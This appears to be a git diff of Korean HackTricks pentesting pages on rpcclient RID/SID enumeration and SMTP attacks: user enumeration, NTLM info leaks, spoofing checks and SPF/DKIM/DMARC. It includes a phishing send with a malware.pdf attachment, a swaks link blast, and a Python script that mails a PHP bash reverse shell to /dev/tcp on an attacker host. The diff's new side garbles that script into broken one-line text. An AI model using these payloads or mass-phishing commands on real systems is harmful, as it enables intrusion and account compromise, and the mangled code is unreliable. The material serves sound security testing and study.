* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -7,14 +7,14 @@
|
|||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)로 PR을 제출**해주세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks)**와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출**해주세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,14 +22,13 @@
|
|||
|
||||
### 상대 식별자 (RID) 및 보안 식별자 (SID) 개요
|
||||
|
||||
**상대 식별자 (RID)** 및 **보안 식별자 (SID)**는 Windows 운영 체제에서 네트워크 도메인 내의 사용자 및 그룹과 같은 객체를 고유하게 식별하고 관리하는 데 중요한 구성 요소입니다.
|
||||
**상대 식별자 (RID)** 및 \*\*보안 식별자 (SID)\*\*는 Windows 운영 체제에서 네트워크 도메인 내의 사용자 및 그룹과 같은 객체를 고유하게 식별하고 관리하는 데 중요한 구성 요소입니다.
|
||||
|
||||
- **SIDs**는 도메인을 고유하게 식별하여 각 도메인이 구별될 수 있도록 합니다.
|
||||
- **RIDs**는 이러한 도메인 내 객체에 대한 고유 식별자를 만들기 위해 SIDs에 추가됩니다. 이 조합을 통해 객체 권한 및 액세스 제어를 정확하게 추적하고 관리할 수 있습니다.
|
||||
* **SIDs**는 도메인을 고유하게 식별하여 각 도메인이 구별될 수 있도록 합니다.
|
||||
* **RIDs**는 이러한 도메인 내 객체에 대한 고유 식별자를 만들기 위해 SIDs에 추가됩니다. 이 조합을 통해 객체 권한 및 액세스 제어를 정확하게 추적하고 관리할 수 있습니다.
|
||||
|
||||
예를 들어, `pepe`라는 사용자는 도메인의 SID와 해당 RID를 결합한 고유 식별자를 가질 수 있으며, 16진수(`0x457`) 및 10진수(`1111`) 형식으로 표시됩니다. 이로 인해 도메인 내 pepe에 대한 완전하고 고유한 식별자가 생성됩니다: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **rpcclient를 사용한 열거**
|
||||
|
||||
**Samba**의 **`rpcclient`** 유틸리티는 **명명된 파이프를 통해 RPC 엔드포인트와 상호 작용**하는 데 사용됩니다. **SMB 세션이 설정된 후** SAMR, LSARPC 및 LSARPC-DS 인터페이스에 발행할 수 있는 아래 명령어들이 있습니다. 이는 종종 자격 증명이 필요합니다.
|
||||
|
@ -45,6 +44,7 @@
|
|||
* **사용자의 그룹**은: `queryusergroups <0xrid>`로 확인합니다.
|
||||
* **사용자의 SID를 검색**하려면: `lookupnames <username>`을 사용합니다.
|
||||
* **사용자의 별칭**은: `queryuseraliases [builtin|domain] <sid>`로 확인합니다.
|
||||
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -53,6 +53,7 @@ done
|
|||
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
|
||||
#### 그룹 열거
|
||||
|
||||
* **그룹**은 `enumdomgroups`로.
|
||||
|
@ -83,27 +84,27 @@ done
|
|||
|
||||
#### **추가 명령어**
|
||||
|
||||
| **명령어** | **인터페이스** | **설명** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | 사용자 정보를 가져옵니다 |
|
||||
| querygroup | 그룹 정보를 가져옵니다 | |
|
||||
| querydominfo | 도메인 정보를 가져옵니다 | |
|
||||
| enumdomusers | 도메인 사용자를 열거합니다 | |
|
||||
| enumdomgroups | 도메인 그룹을 열거합니다 | |
|
||||
| createdomuser | 도메인 사용자를 생성합니다 | |
|
||||
| deletedomuser | 도메인 사용자를 삭제합니다 | |
|
||||
| lookupnames | LSARPC | 사용자 이름을 SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) 값으로 변환합니다 |
|
||||
| lookupsids | SID를 사용자 이름으로 변환합니다 (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) 순환) | |
|
||||
| lsaaddacctrights | 사용자 계정에 권한을 추가합니다 | |
|
||||
| lsaremoveacctrights | 사용자 계정에서 권한을 제거합니다 | |
|
||||
| dsroledominfo | LSARPC-DS | 기본 도메인 정보를 가져옵니다 |
|
||||
| dsenumdomtrusts | AD 포레스트 내 신뢰하는 도메인을 열거합니다 | |
|
||||
| **명령어** | **인터페이스** | **설명** |
|
||||
| ------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | 사용자 정보를 가져옵니다 |
|
||||
| querygroup | 그룹 정보를 가져옵니다 | |
|
||||
| querydominfo | 도메인 정보를 가져옵니다 | |
|
||||
| enumdomusers | 도메인 사용자를 열거합니다 | |
|
||||
| enumdomgroups | 도메인 그룹을 열거합니다 | |
|
||||
| createdomuser | 도메인 사용자를 생성합니다 | |
|
||||
| deletedomuser | 도메인 사용자를 삭제합니다 | |
|
||||
| lookupnames | LSARPC | 사용자 이름을 SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) 값으로 변환합니다 |
|
||||
| lookupsids | SID를 사용자 이름으로 변환합니다 (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) 순환) | |
|
||||
| lsaaddacctrights | 사용자 계정에 권한을 추가합니다 | |
|
||||
| lsaremoveacctrights | 사용자 계정에서 권한을 제거합니다 | |
|
||||
| dsroledominfo | LSARPC-DS | 기본 도메인 정보를 가져옵니다 |
|
||||
| dsenumdomtrusts | AD 포레스트 내 신뢰하는 도메인을 열거합니다 | |
|
||||
|
||||
**_samrdump_** **및** **_rpcdump_** 도구가 어떻게 작동하는지 **이해**하려면 [**Pentesting MSRPC**](../135-pentesting-msrpc.md)를 읽어보세요.
|
||||
_**samrdump**_ **및** _**rpcdump**_ 도구가 어떻게 작동하는지 **이해**하려면 [**Pentesting MSRPC**](../135-pentesting-msrpc.md)를 읽어보세요.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -114,7 +115,7 @@ done
|
|||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* \*\*해킹 트릭을 공유하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)\*\*로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 25,465,587 - SMTP/s 펜테스팅
|
||||
# 25,465,587 - Pentesting SMTP/s
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)**에 가입하거나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -22,15 +22,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **기본 정보**
|
||||
|
||||
**간단한 메일 전송 프로토콜 (SMTP)**은 **이메일의 송수신**을 위해 TCP/IP 스위트 내에서 사용되는 프로토콜입니다. 수신자 측에서 메시지를 대기열에 저장하는 데 제한이 있기 때문에 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜을 사용하면 사용자가 서버 메일함에 메시지를 저장하고 주기적으로 다운로드할 수 있습니다.
|
||||
\*\*간단한 메일 전송 프로토콜 (SMTP)\*\*은 **이메일의 송수신**을 위해 TCP/IP 스위트 내에서 사용되는 프로토콜입니다. 수신자 측에서 메시지를 대기열에 저장하는 데 제한이 있기 때문에 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜을 사용하면 사용자가 서버 메일함에 메시지를 저장하고 주기적으로 다운로드할 수 있습니다.
|
||||
|
||||
실제로 **이메일 프로그램**은 **이메일을 보내기 위해 SMTP를 사용**하고, **받기 위해 POP3 또는 IMAP를 사용**하는 것이 일반적입니다. Unix 기반 시스템에서는 이메일 용으로 가장 자주 사용되는 SMTP 서버로 **sendmail**이 두드러집니다. 상용 패키지인 Sendmail에는 POP3 서버가 포함되어 있습니다. 또한 **Microsoft Exchange**는 SMTP 서버를 제공하고 POP3 지원을 포함할 수 있습니다.
|
||||
|
||||
**기본 포트:** 25,465(ssl),587(ssl)
|
||||
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||
```
|
||||
|
||||
### 이메일 헤더
|
||||
|
||||
만약 피해자로부터 이메일을 받도록 유도할 수 있는 기회가 있다면 (예: 웹 페이지의 연락 양식을 통해), 그렇게 하십시오. 왜냐하면 이메일의 헤더를 확인함으로써 피해자의 내부 토폴로지에 대해 알 수 있기 때문입니다.
|
||||
|
@ -46,31 +48,40 @@ EICAR 테스트 파일을 보내야 합니다.\
|
|||
### **배너 그랩핑/기본 연결**
|
||||
|
||||
**SMTP:**
|
||||
|
||||
```bash
|
||||
nc -vn <IP> 25
|
||||
```
|
||||
**SMTPS**:
|
||||
|
||||
**SMTPS**:
|
||||
|
||||
SMTPS는 SMTP의 보안 버전으로, 일반적으로 465번 포트를 사용합니다. SMTPS는 SSL/TLS를 사용하여 통신을 암호화하고 보호합니다. SMTPS를 사용하여 이메일 서버를 펜테스팅할 때 SSL/TLS 구성, 인증 및 권한 부여 메커니즘을 분석해야 합니다.
|
||||
|
||||
```bash
|
||||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||||
```
|
||||
|
||||
### 조직의 MX 서버 찾기
|
||||
|
||||
- `nslookup` 명령어를 사용하여 조직의 도메인에 대한 MX 레코드를 조회합니다.
|
||||
- 명령어 예시: `nslookup -type=mx domain.com`
|
||||
* `nslookup` 명령어를 사용하여 조직의 도메인에 대한 MX 레코드를 조회합니다.
|
||||
* 명령어 예시: `nslookup -type=mx domain.com`
|
||||
|
||||
```bash
|
||||
dig +short mx google.com
|
||||
```
|
||||
|
||||
### 열거 (Enumeration)
|
||||
|
||||
```bash
|
||||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
||||
### NTLM Auth - 정보 노출
|
||||
|
||||
만약 서버가 NTLM 인증 (Windows)을 지원한다면 민감한 정보(버전)를 얻을 수 있습니다. 더 많은 정보는 [**여기**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)에서 확인할 수 있습니다.
|
||||
|
||||
```bash
|
||||
root@kali: telnet example.com 587
|
||||
220 example.com SMTP Server Banner
|
||||
|
@ -81,11 +92,13 @@ NTLM supported
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
|
||||
또는 **nmap** 플러그인 `smtp-ntlm-info.nse`를 사용하여 **자동화**합니다.
|
||||
|
||||
### 내부 서버 이름 - 정보 노출
|
||||
|
||||
일부 SMTP 서버는 전체 주소 없이 "MAIL FROM" 명령을 사용할 때 발신자 주소를 자동으로 완성하여 내부 이름을 노출합니다:
|
||||
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
|
@ -104,6 +117,7 @@ EHLO all
|
|||
MAIL FROM: me
|
||||
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
|
||||
```
|
||||
|
||||
### 스니핑
|
||||
|
||||
패킷에서 포트 25로부터 암호를 스니핑하는지 확인하세요.
|
||||
|
@ -115,6 +129,7 @@ MAIL FROM: me
|
|||
**항상 인증이 필요한 것은 아닙니다**.
|
||||
|
||||
### RCPT TO
|
||||
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -132,11 +147,13 @@ RCPT TO:admin
|
|||
RCPT TO:ed
|
||||
250 2.1.5 ed... Recipient ok
|
||||
```
|
||||
|
||||
### VRFY
|
||||
|
||||
### VRFY
|
||||
|
||||
VRFY 명령은 SMTP 서버에서 사용자의 존재 여부를 확인하는 데 사용됩니다. 이 명령은 보안 취약점을 악용할 수 있으므로 대부분의 SMTP 서버에서 비활성화되어 있습니다.
|
||||
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -152,9 +169,11 @@ VRFY root
|
|||
VRFY blah
|
||||
550 blah... User unknown
|
||||
```
|
||||
|
||||
### EXPN
|
||||
|
||||
### EXPN
|
||||
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -171,12 +190,15 @@ EXPN root
|
|||
EXPN sshd
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
|
||||
### 자동 도구
|
||||
|
||||
```
|
||||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||
Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 즉시 사용할 수 있는 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신 사용자에게 깊이 파고들고, 쉘을 열고 즐길 시간을 돌려주기 위해 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
|
@ -190,6 +212,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
## [Commands](smtp-commands.md)
|
||||
|
||||
### 리눅스 콘솔에서 이메일 보내기
|
||||
|
||||
```bash
|
||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
|
@ -203,62 +226,57 @@ If you are manually typing in a message:
|
|||
```bash
|
||||
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
||||
```
|
||||
|
||||
### Python을 사용하여 이메일 보내기
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Python 코드 여기에</summary>
|
||||
```python
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
import smtplib
|
||||
import sys
|
||||
|
||||
lhost = "127.0.0.1"
|
||||
lport = 443
|
||||
rhost = "192.168.1.1"
|
||||
rport = 25 # 489,587
|
||||
\`\`\`python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
|
||||
|
||||
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
|
||||
|
||||
## create message object instance
|
||||
|
||||
# create message object instance
|
||||
msg = MIMEMultipart()
|
||||
|
||||
# setup the parameters of the message
|
||||
password = ""
|
||||
msg['From'] = "attacker@local"
|
||||
msg['To'] = "victim@local"
|
||||
msg['Subject'] = "This is not a drill!"
|
||||
## setup the parameters of the message
|
||||
|
||||
# payload
|
||||
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
||||
password = "" msg\['From'] = "attacker@local" msg\['To'] = "victim@local" msg\['Subject'] = "This is not a drill!"
|
||||
|
||||
print("[*] Payload is generated : %s" % message)
|
||||
## payload
|
||||
|
||||
msg.attach(MIMEText(message, 'plain'))
|
||||
server = smtplib.SMTP(host=rhost,port=rport)
|
||||
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
||||
|
||||
if server.noop()[0] != 250:
|
||||
print("[-]Connection Error")
|
||||
exit()
|
||||
print("\[\*] Payload is generated : %s" % message)
|
||||
|
||||
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
|
||||
|
||||
if server.noop()\[0] != 250: print("\[-]Connection Error") exit()
|
||||
|
||||
server.starttls()
|
||||
|
||||
# Uncomment if log-in with authencation
|
||||
# server.login(msg['From'], password)
|
||||
## Uncomment if log-in with authencation
|
||||
|
||||
server.sendmail(msg['From'], msg['To'], msg.as_string())
|
||||
server.quit()
|
||||
## server.login(msg\['From'], password)
|
||||
|
||||
print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
```
|
||||
server.sendmail(msg\['From'], msg\['To'], msg.as\_string()) server.quit()
|
||||
|
||||
print("\[\*\*\*]successfully sent email to %s:" % (msg\['To']))
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
## SMTP 스머글링
|
||||
|
||||
SMTP 스머글링 취약점은 모든 SMTP 보호 기능을 우회할 수 있게 했습니다 (보호 기능에 대한 자세한 내용은 다음 섹션을 참조하세요). SMTP 스머글링에 대한 자세한 내용은 확인하세요:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
|
||||
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
</div>
|
||||
|
||||
## 이메일 위조 대책
|
||||
|
||||
|
@ -268,10 +286,12 @@ SMTP 스머글링 취약점은 모든 SMTP 보호 기능을 우회할 수 있게
|
|||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='danger'>
|
||||
|
||||
SPF는 2014년에 "폐기"되었습니다. 이는 `_spf.domain.com`에 **TXT 레코드**를 생성하는 대신 **같은 구문**을 사용하여 `domain.com`에 생성해야 함을 의미합니다.\
|
||||
또한, 이전 SPF 레코드를 재사용하기 위해 `"v=spf1 include:_spf.google.com ~all"`과 같은 내용을 찾는 것이 일반적입니다.
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
**발신자 정책 프레임워크** (SPF)는 메일 전송 에이전트(MTA)가 조직에서 정의한 인증된 메일 서버 목록을 쿼리하여 이메일을 보내는 호스트가 인가되었는지 확인할 수 있는 메커니즘입니다. 이 목록은 IP 주소/범위, 도메인 및 기타 엔티티를 명시하는 SPF 레코드 내의 다양한 "**메커니즘**"을 포함합니다.
|
||||
|
||||
|
@ -321,28 +341,32 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
````
|
||||
|
||||
전통적으로는 올바른 SPF 레코드가 없는 도메인 이름을 위조하는 것이 가능했습니다. **현재는**, **유효한 SPF 레코드가 없는 도메인에서 이메일이 온 경우** 자동으로 **거부/신뢰되지 않는 것으로 표시될 가능성**이 높습니다.
|
||||
|
||||
도메인의 SPF를 확인하려면 [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)와 같은 온라인 도구를 사용할 수 있습니다.
|
||||
|
||||
### DKIM (도메인키 식별 메일)
|
||||
#### DKIM (도메인키 식별 메일)
|
||||
|
||||
DKIM은 발신 이메일에 서명하여 외부 메일 전송 에이전트(MTA)가 해당 도메인의 공개 키를 DNS에서 검색하여 유효성을 확인할 수 있도록 하는 기술입니다. 이 공개 키는 도메인의 TXT 레코드에 위치합니다. 이 키에 액세스하려면 셀렉터와 도메인 이름을 알아야 합니다.
|
||||
|
||||
예를 들어, 키를 요청하려면 도메인 이름과 셀렉터가 필요합니다. 이 정보는 메일 헤더 `DKIM-Signature`에서 찾을 수 있습니다. 예: `d=gmail.com;s=20120113`.
|
||||
|
||||
이 정보를 가져오기 위한 명령어는 다음과 같을 수 있습니다:
|
||||
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
# This command would return something like:
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
```
|
||||
### DMARC (도메인 기반 메시지 인증, 보고 및 준수)
|
||||
|
||||
#### DMARC (도메인 기반 메시지 인증, 보고 및 준수)
|
||||
|
||||
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 이메일 처리에 대한 정책을 개요화하여 메일 서버가 인증 실패를 처리하는 방법 및 이메일 처리 작업에 대한 보고를 어디로 보낼지 안내합니다.
|
||||
|
||||
**DMARC 레코드를 얻으려면 \_dmarc 하위 도메인을 쿼리해야 합니다**
|
||||
|
||||
```bash
|
||||
# Reject
|
||||
dig _dmarc.facebook.com txt | grep DMARC
|
||||
|
@ -356,53 +380,47 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor
|
|||
dig _dmarc.bing.com txt | grep DMARC
|
||||
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
||||
```
|
||||
#### DMARC 태그
|
||||
|
||||
| 태그 이름 | 목적 | 샘플 |
|
||||
| -------- | -------------------------------------------- | ------------------------------ |
|
||||
| v | 프로토콜 버전 | v=DMARC1 |
|
||||
| pct | 필터링 대상 메시지의 백분율 | pct=20 |
|
||||
| ruf | 포렌식 보고를 위한 보고 URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 집계 보고를 위한 보고 URI | rua=mailto:aggrep@example.com |
|
||||
| p | 조직 도메인 정책 | p=quarantine |
|
||||
| sp | OD의 하위 도메인 정책 | sp=reject |
|
||||
| adkim | DKIM의 정렬 모드 | adkim=s |
|
||||
| aspf | SPF의 정렬 모드 | aspf=r |
|
||||
**DMARC 태그**
|
||||
|
||||
### **하위 도메인은 어떻게 되나요?**
|
||||
#### **하위 도메인은 어떻게 되나요?**
|
||||
|
||||
**여기**에서 확인할 수 있습니다.\
|
||||
메일을 보내려는 각 하위 도메인마다 별도의 SPF 레코드가 필요합니다.\
|
||||
다음 내용은 원래 openspf.org에 게시된 것으로, 이러한 유형의 정보에 대한 좋은 자료원이었던 곳입니다.
|
||||
|
||||
> 악마 질문: 하위 도메인은 어떻게 되나요?
|
||||
>
|
||||
> 만약 pielovers.demon.co.uk에서 메일을 받았는데, pielovers에 대한 SPF 데이터가 없다면, demon.co.uk의 SPF를 확인해야 할까요? 아니요. Demon의 각 하위 도메인은 다른 고객이며, 각 고객은 자체 정책을 가질 수 있습니다. Demon의 정책이 기본적으로 모든 고객에 적용되는 것은 의미가 없습니다. Demon이 그렇게 하려면 각 하위 도메인에 대해 SPF 레코드를 설정할 수 있습니다.
|
||||
>
|
||||
> 따라서 SPF 게시자에 대한 권고 사항은 다음과 같습니다: 각 A 또는 MX 레코드가 있는 각 하위 도메인 또는 호스트 이름에 SPF 레코드를 추가해야 합니다.
|
||||
>
|
||||
> 와일드카드 A 또는 MX 레코드가 있는 사이트는 다음과 같은 형식의 와일드카드 SPF 레코드도 가져야 합니다: \* IN TXT "v=spf1 -all"
|
||||
악마 질문: 하위 도메인은 어떻게 되나요?
|
||||
|
||||
만약 pielovers.demon.co.uk에서 메일을 받았는데, pielovers에 대한 SPF 데이터가 없다면, demon.co.uk의 SPF를 확인해야 할까요? 아니요. Demon의 각 하위 도메인은 다른 고객이며, 각 고객은 자체 정책을 가질 수 있습니다. Demon의 정책이 기본적으로 모든 고객에 적용되는 것은 의미가 없습니다. Demon이 그렇게 하려면 각 하위 도메인에 대해 SPF 레코드를 설정할 수 있습니다.
|
||||
|
||||
따라서 SPF 게시자에 대한 권고 사항은 다음과 같습니다: 각 A 또는 MX 레코드가 있는 각 하위 도메인 또는 호스트 이름에 SPF 레코드를 추가해야 합니다.
|
||||
|
||||
와일드카드 A 또는 MX 레코드가 있는 사이트는 다음과 같은 형식의 와일드카드 SPF 레코드도 가져야 합니다: \* IN TXT "v=spf1 -all"
|
||||
|
||||
이는 합리적입니다 - 하위 도메인은 매우 다른 지리적 위치에 있을 수 있으며 매우 다른 SPF 정의를 가질 수 있습니다.
|
||||
|
||||
### **오픈 릴레이**
|
||||
